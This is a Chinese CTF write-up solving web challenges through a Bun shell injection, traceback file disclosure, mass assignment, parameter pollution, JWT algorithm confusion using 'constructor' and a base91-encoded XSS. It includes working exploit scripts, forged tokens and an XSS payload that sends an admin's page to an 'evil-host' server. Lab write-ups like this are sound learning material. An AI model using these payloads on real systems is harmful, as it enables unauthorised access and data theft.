封神台wp 两天的比赛,第一天好好看了,没做出来几个题,第二天出去玩拿手机看代码楞是出了俩。
技术不行,只有高校榜第四,没什么石粒,下回还要多练。
EzEcho bun 内部shell的解析bug
先创建文件并将内容写入sh脚本里面,然后再执行sh
好像是1 被当作触发重定向的标识,没有写入,作为文本内容。
1 2 3 /readflag1<huaji `sh<huaji`
flag{rce_eas1y_th3n_i_think}
参考https://blog.csdn.net/2401_83799022/article/details/141859729
EzPyeditor 因为 traceback.format_exc() 会把 异常栈的文件路径和代码上下文 返回给前端,如果我们把 filename 指向 secret.py,并且让 source 是空的(触发解析报错),那么 traceback 会尝试 从这个文件加载源码行内容 ,从而把 secret.py 里的 flag 泄露出来。
可以用 source 构造一个在指定行触发错误的假代码,让 traceback 去那一行读取内容:
1 2 3 4 { "source": "\n\n\n\nx y", "filename": "secret.py" }
所以exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport reurl = "http://rc0uy94d.lab.aqlab.cn/check" target_file = "secret.py" def read_line (line_num ): payload = { "source" : "\n" * (line_num - 1 ) + "x y" , "filename" : target_file } r = requests.post(url, json=payload) data = r.json() if not data["status" ] and data["error" ]: match = re.search(rf'File "{re.escape(target_file)} ", line {line_num} \n\s*(.*)\n' , data["error" ]) if match : return match .group(1 ) return None def dump_file (max_lines=100 ): print (f"[*] Dumping {target_file} ..." ) for i in range (1 , max_lines+1 ): line = read_line(i) if line is None : break print (f"{i:03d} : {line} " ) if __name__ == "__main__" : dump_file()
EzGrades 创建用户时,加上is_teacher=true即可
然后再访问/grades_flag就有flag了,其中cookie是auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfbnVtIjoiaHVhamkiLCJzdHVfZW1haWwiOiJodWFqaUBodWFqaS5jb20iLCJwYXNzd29yZCI6IjEiLCJpc190ZWFjaGVyIjoidHJ1ZSJ9.4bhDOIr-X_u68snoXl5pwMG-v0HGMXyi7nzAXp62GrY
flag{g00d_go0d_study_d1yd1yup}
EzGetFlag 使用 两个字段:
第一个 给 Flask 看,第二个给 PHP 看
因为php会被变量绕过,flask接收了第一个,php相当于接收的第二个
EzJwt Wp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const algorithms = { hs256 : (data, secret ) => base64UrlEncode (crypto.createHmac ('sha256' , secret).update (data).digest ()), hs512 : (data, secret ) => base64UrlEncode (crypto.createHmac ('sha512' , secret).update (data).digest ()), } const createSignature = (header, payload, secret ) => { const data = `${stringifyPart(header)} .${stringifyPart(payload)} ` ; const signature = algorithms[header.alg .toLowerCase ()](data, secret); return signature; } const verify = (token, secret ) => { const { header, payload, signature : expected_signature } = parseToken (token); const calculated_signature = createSignature (header, payload, secret); const calculated_buf = Buffer .from (calculated_signature, 'base64' ); console .log (calculated_buf) console .log (calculated_buf.toString ('base64' )) const expected_buf = Buffer .from (expected_signature, 'base64' ); console .log (expected_buf) if (Buffer .compare (calculated_buf, expected_buf) !== 0 ) { throw Error ('Invalid signature' ); } return payload; }
代码审计,发现后端在校验 JWT 时没有制定加密算法,于是想到可以手动指定 alg 标签来使得后端不使用那两种加密算法来进行验证,但是问题是 algorithms 只有两个元素,我们可以通过 JS 的特性找到一个 Object 或者 {} 对象本来就具有的函数,经过测试,我选择使用 constructor(),直接调用这个函数:
1 2 3 > let a = {} ... a['constructor' ]("123" ,"456" ) String {'123' }
经过测试,发现思路可行后,就直接修改本地代码获得签名之后的 base64。
修改后:
1 ewogICJhbGciOiAiY29uc3RydWN0b3IiLAogICJ0eXAiOiAiSldUIgp9.ewogICJpc0FkbWluIjogdHJ1ZQp9.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ
使用这个 cookie 去访问网站,拿到 cookie:
flag 为:
1 flag{jwt_i_w0nt_see_you!:(}
EzBase Wp 代码审计,发现题目会将用户上传的数据进行 base91 编码,然后显示出来,于是逆向思维,让编码后的文本为 xss payload,再 decode,就能拿到应该上传的数据。
exp 1 2 3 4 5 6 7 8 import based91res = based91.decode("<iframe/src=\"javascript%3Afetch%28%27%2F%27%29%2Ethen%28r%3D%3Er%2Etext%28%29%29%2Ethen%28s%3D%3E%7Bnew%20Image%28%29%2Esrc%3D%60http%3A%2F%2Fevil%2Dhost%3A8888%2Fget%5Fcookie%3Fcookie%3D%24%7BencodeURIComponent%28s%2Esubstring%280%2C2000%29%29%7D%60%7D%29%2Ecatch%28console%2Eerror%29%3B\">link</iframe>abc" ); print (res.hex ())print (based91.encode(res))
iframe 中的 js 使用的 url 编码,同时 iframe 和 src 之间使用 / 隔开以避免使用空格,原始 js 代码为:
1 javascript :fetch ('/' ).then (r => r.text ()).then (s => {new Image ().src =`http://evil-host:8888/get_cookie?cookie=${encodeURIComponent (s.substring(0 ,2000 ))} ` }).catch (console .error );
执行脚本:
在页面上传:
然后让 bot 访问这个页面:
服务器拿到管理员首页页面源代码:
访问 flag 所在 encoding,拿到 flag: